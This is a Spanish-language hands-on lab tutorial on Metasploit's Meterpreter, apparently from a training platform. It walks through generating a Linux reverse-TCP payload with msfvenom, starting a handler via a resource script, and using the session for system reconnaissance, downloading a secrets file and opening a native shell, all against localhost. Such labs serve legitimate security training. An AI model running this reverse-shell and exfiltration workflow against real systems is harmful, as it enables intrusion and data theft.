Introducción
Bienvenido al laboratorio de Introducción a Meterpreter.
Meterpreter es un payload avanzado y dinámicamente extensible que forma parte del framework Metasploit. A diferencia de una shell de comandos básica que simplemente redirige la entrada y salida estándar a una shell del sistema (como /bin/bash), Meterpreter proporciona un entorno de comandos rico e interactivo. Opera completamente en la memoria, lo que significa que no escribe nada en el disco duro del objetivo, lo que lo hace altamente sigiloso y difícil de detectar para el software antivirus tradicional.
Lo que hace que Meterpreter sea importante es que convierte una shell en una plataforma de sesión. En lugar de solo enviar comandos de texto al sistema operativo, obtienes capacidades integradas para la recopilación de información, interacción con archivos, enrutamiento y flujos de trabajo de post-explotación.
En este laboratorio, aprenderás el proceso completo de generación de un payload de Meterpreter, la configuración de un listener para capturar la conexión entrante y la interacción con el sistema comprometido. Explorarás comandos integrados para recopilar información del sistema, navegar por el sistema de archivos sin depender de binarios nativos del SO y acceder a una shell nativa del sistema cuando sea necesario.
Desplegar el payload de Meterpreter
En este paso, generarás un payload de Meterpreter y configurarás un listener para establecer una conexión. Utilizaremos msfvenom, un generador de payloads independiente proporcionado por el framework Metasploit, para crear un archivo ejecutable que contenga nuestro payload de Meterpreter.
Primero, asegúrate de estar en tu directorio de trabajo predeterminado. Generarás un payload ejecutable para Linux configurado para conectarse de vuelta a tu máquina local (una "reverse shell"). Ejecuta el siguiente comando para crear el payload llamado payload.elf:
Este paso de generación es donde los parámetros del payload se convierten en una realidad operativa. LHOST y LPORT no son configuraciones abstractas; definen exactamente cómo la sesión intentará comunicarse contigo.
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf -o payload.elf
Si es la primera vez que usas Metasploit en el entorno de laboratorio actual, es posible que veas un aviso de configuración inicial antes de que msfvenom genere el payload. Cuando se te pregunte si deseas configurar una nueva base de datos, responde yes y espera a que finalice la configuración. Después de eso, msfvenom continuará y guardará payload.elf.
Después de generar el payload, debes hacerlo ejecutable para que el sistema pueda ejecutarlo. Usa el comando chmod para añadir permisos de ejecución:
chmod +x payload.elf
A continuación, necesitas configurar un listener para capturar la conexión cuando se ejecute el payload. Crearemos un script de recursos para automatizar la configuración de la consola de Metasploit (msfconsole). Crea un archivo llamado listener.rc con la configuración necesaria:
cat << EOF > listener.rc
use exploit/multi/handler
set PAYLOAD linux/x64/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444
exploit -j
EOF
Ahora, inicia la consola de Metasploit usando el script de recursos que acabas de crear. El flag -q la inicia en modo silencioso (sin el banner de inicio), y -r le indica que ejecute tu script:
msfconsole -q -r listener.rc
Verás una salida indicando que el manejador TCP inverso se ha iniciado en 127.0.0.1:4444.
Para ejecutar el payload mientras mantienes el listener en funcionamiento, necesitas abrir una nueva pestaña de terminal. En la interfaz de LabEx, haz clic en el icono + sobre la terminal para abrir una nueva ventana. En esta nueva terminal, ejecuta el payload:
./payload.elf
Regresa a tu primera pestaña de terminal. Deberías ver un mensaje que indica Meterpreter session 1 opened. Presiona Enter para obtener el prompt msf6 > y luego interactúa con la sesión escribiendo:
sessions -i 1
Ahora verás el prompt meterpreter >, lo que indica que has desplegado y conectado exitosamente al payload de Meterpreter.
Recuperar información del sistema (sysinfo)
En este paso, utilizarás los comandos integrados de Meterpreter para recopilar información sobre el sistema comprometido. Debido a que Meterpreter se ejecuta en la memoria y tiene su propio conjunto de comandos, no necesitas depender de los comandos nativos de Linux del sistema objetivo (como uname o whoami) para obtener esta información.
Ese conjunto de comandos integrados es una de las razones por las que las sesiones de Meterpreter son tan valiosas. Muchas tareas comunes del operador pueden realizarse sin necesidad de acceder inmediatamente a una shell nativa.
Asegúrate de estar en el prompt meterpreter > del paso anterior. Si no es así, asegúrate de haber interactuado con la sesión usando sessions -i 1.
Para recuperar información básica del sistema, como el nombre del equipo, el sistema operativo, la arquitectura y la versión de Meterpreter, escribe el siguiente comando:
sysinfo
Verás una salida similar a esta:
Computer : 172.17.0.2
OS : Ubuntu 22.04 (Linux 5.15.0-105-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
A continuación, puedes determinar bajo qué cuenta de usuario se está ejecutando actualmente el payload de Meterpreter. Esto es crucial para comprender tu nivel de privilegios en el sistema objetivo. Ejecuta el siguiente comando:
getuid
La salida mostrará el nombre de usuario del servidor, que en este entorno debería ser labex:
Server username: labex
Estos comandos demuestran cómo Meterpreter te permite evaluar rápidamente el entorno que has comprometido sin activar registros a nivel de sistema que podrían monitorear la ejecución de comandos nativos.
Navegar por el sistema de archivos del objetivo
En este paso, explorarás el sistema de archivos del objetivo utilizando los comandos de gestión de archivos integrados de Meterpreter. Estos comandos funcionan de manera similar a los comandos estándar de Linux, pero se ejecutan completamente dentro de la sesión de Meterpreter, añadiendo una capa adicional de sigilo.
La interacción con el sistema de archivos es una actividad central de la post-explotación, ya que muchos objetivos dependen en última instancia de encontrar, leer o exfiltrar artefactos del host.
Desde el prompt meterpreter >, puedes verificar tu directorio de trabajo actual usando el comando pwd:
pwd
Deberías ver /home/labex/project como tu directorio actual. Para listar el contenido de este directorio, usa el comando ls:
ls
Notarás un directorio llamado target_data. Vamos a navegar dentro de este directorio usando el comando cd:
cd target_data
Si ls no muestra target_data, crea la carpeta y el archivo requeridos manualmente en tu terminal normal (no en la sesión de Meterpreter) y luego continúa:
mkdir -p /home/labex/project/target_data
echo "Confidential Data: Meterpreter is awesome" > /home/labex/project/target_data/secrets.txt
Lista el contenido del directorio target_data para encontrar los archivos dentro:
ls
Deberías ver un archivo llamado secrets.txt. Puedes leer el contenido de este archivo directamente dentro de Meterpreter usando el comando cat:
cat secrets.txt
La salida revelará los datos confidenciales almacenados en el archivo. A menudo, durante una evaluación, querrás exfiltrar (descargar) archivos a tu máquina local para un análisis posterior. Meterpreter facilita esto con el comando download.
Descarga el archivo secrets.txt y guárdalo en tu directorio principal del proyecto como downloaded_secrets.txt:
download secrets.txt /home/labex/project/downloaded_secrets.txt
Verás un mensaje de confirmación indicando que el archivo se descargó correctamente. Esto demuestra cómo Meterpreter puede transferir archivos sin problemas entre el objetivo y tu máquina local.
Ejecutar comandos del sistema (shell)
En este paso, aprenderás cómo acceder a una shell nativa del sistema desde tu sesión de Meterpreter. Aunque Meterpreter proporciona muchos comandos integrados, hay momentos en los que necesitas interactuar directamente con el sistema operativo del objetivo, ejecutar scripts específicos o utilizar binarios nativos que Meterpreter no admite de forma nativa.
Para abrir una shell estándar del sistema, escribe el siguiente comando en el prompt meterpreter >:
shell
Notarás que tu prompt cambia o desaparece, lo que indica que ahora estás interactuando directamente con la shell /bin/sh o /bin/bash del sistema objetivo.
Ahora que estás en una shell nativa, puedes ejecutar comandos estándar de Linux. Vamos a crear un archivo para demostrar que tenemos capacidades de ejecución a nivel de sistema. Ejecuta el siguiente comando para crear un archivo llamado hacked.txt en tu directorio de proyecto:
echo "hacked by meterpreter" > /home/labex/project/hacked.txt
Puedes verificar que el archivo se creó leyéndolo con el comando cat:
cat /home/labex/project/hacked.txt
La salida mostrará hacked by meterpreter.
Una vez que hayas terminado de ejecutar comandos nativos del sistema, puedes regresar a la sesión sigilosa de Meterpreter. Para hacer esto, simplemente escribe exit y presiona Enter:
exit
Regresarás al prompt meterpreter >. Esta capacidad de cambiar sin problemas entre un entorno sigiloso residente en memoria y una shell completa del sistema hace que Meterpreter sea una herramienta increíblemente versátil.
Resumen
¡Felicidades! Has completado con éxito el laboratorio de Introducción a Meterpreter.
En este laboratorio, aprendiste a generar un payload de Meterpreter usando msfvenom y a configurar un listener usando msfconsole. También aprendiste a recuperar información crítica del sistema y del usuario utilizando los comandos integrados sysinfo y getuid de Meterpreter. Además, practicaste la navegación sigilosa por el sistema de archivos del objetivo y la exfiltración de datos mediante el comando download. Finalmente, aprendiste a acceder a una shell nativa del sistema para ejecutar comandos a nivel de SO y regresar sin problemas a la sesión de Meterpreter.
Estas habilidades fundamentales forman la base de las actividades de post-explotación, permitiéndote mantener el control, recopilar inteligencia y manipular sistemas comprometidos de manera efectiva.



